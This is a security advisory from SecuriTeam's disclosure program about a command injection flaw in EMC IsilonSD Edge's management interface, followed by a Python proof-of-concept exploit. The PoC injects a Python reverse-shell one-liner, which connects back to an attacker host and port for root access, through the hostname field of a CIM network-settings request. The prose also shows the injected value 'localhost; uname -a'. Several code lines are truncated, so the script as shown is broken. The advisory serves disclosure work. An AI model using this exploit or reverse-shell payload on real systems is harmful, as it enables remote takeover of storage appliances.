SSD Advisory – EMC IsilonSD Edge Command Injection

blogs.securiteam.com/index.php/archives/3252

SSD / Maor Schwartz July 2, 2017

Vulnerability Summary
The following advisory describes a Remote Command Injection vulnerability found in EMC IsilonSD Edge version 1.0.1.0005.

IsilonSD Edge enables you to deploy industry leading scale-out NAS operating system using industry-standard hardware. Key benefits of IsilonSD Edge: Simple yet powerful and efficient scale-out storage solution for remote and branch offices, Easily extends your enterprise data lake from the core data center to edge locations and Enables consolidation and distribution of unstructured data

Credit
An independent security researcher, Nahuel D. Sánchez from vvvSecurity, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
We have informed EMC of the vulnerability on the 24th of April 2017, the last email we received from them was on the 30th of May 2017. We have no further updates from EMC regarding the availability of a patch or a workaround for the vulnerability.

Vulnerability Details
A remote authenticated attacker can misuse IsilonSD management tools (located at https://:5480) to execute arbitrary OS commands. The vulnerability relies in the lack of backend validation when the network configuration if performed. There is some kind of front end validation which can be bypassed.

If an attacker access the application and changes the hostname to something like "localhost; uname -a" the "uname -a" command will be executed with root privileges.

Proof of Concept
Reverse shell with root privileges will be triggered by this PoC.

Execute the PoC as follows:

python os_command_injection.py https://:5480 administrator

os_command_injection.py

```
import requests
import sys

from requests.auth import HTTPBasicAuth
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) <> 6:
    print "usage script.py <target_url> <attacker_host> <attacker_port> <username> <password>"
    exit()

target_url = sys.argv[1]
attacker_host = sys.argv[2]
attacker_port = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]

headers = {"Content-Type":"application/xml; charset=UTF-8", "Cache-Control": "no-cache", "CIMProtocolVersion": "1.0", "CIMOperation": "MethodCall", "CIMMethod": "%53%65
"CIMObject":
"%72%6F%6F%74/%63%69%6D%762%3A%56%41%4D%49_%4E%65%74%77%6F%72%6B%53%65%74%74%69%6E%67.%4E%61%6D%65%3D%22%65%74%680%2

shellcode = '"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1

payload = '"<?xml version="1.0" encoding="UTF-8"?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="11" PROTOCOLVERSION="1.0"><SIMPLEREQ><METHODCALL NAME="SetV4AndV6NetworkSetting"><L
NAME="cimv2"/></LOCALNAMESPACEPATH><INSTANCENAME CLASSNAME="VAMI_NetworkSetting"><KEYBINDING NAME="Name"><KEYVALUE VALUETYPE="string
VALUETYPE="string">localhost</KEYVALUE></KEYBINDING></INSTANCENAME></LOCALINSTANCEPATH><PARAMVALUE NAME="Address" PARAMTYPE="string"><V
PARAMTYPE="string"><VALUE>192.168.1.1</VALUE></PARAMVALUE><PARAMVALUE NAME="SubnetMask" PARAMTYPE="string"><VALUE>255.255.255.0</VALUE></P
<VALUE>STATICV4+AUTOV6</VALUE></PARAMVALUE></METHODCALL></SIMPLEREQ></MESSAGE></CIM>'" % shellcode

try:
    print "Launching exploit against %s" % target_url
    print "Expecting to receive a reversel shell on host %s port %s" % (attacker_host, attacker_port)
    print "After a few seconds check your netcat..."
    res = requests.post(target_url + "/cimom", auth=(username, password), data=payload, headers=headers, verify=False)
    if res.status_code == 401:
        print "Invalid credentials were specified"
    elif res.status_code <> 200:
        print "There was an error..."
        print res.status_code
        print res.reason

except Exception as e:
    print "There was an error..."
    print e
```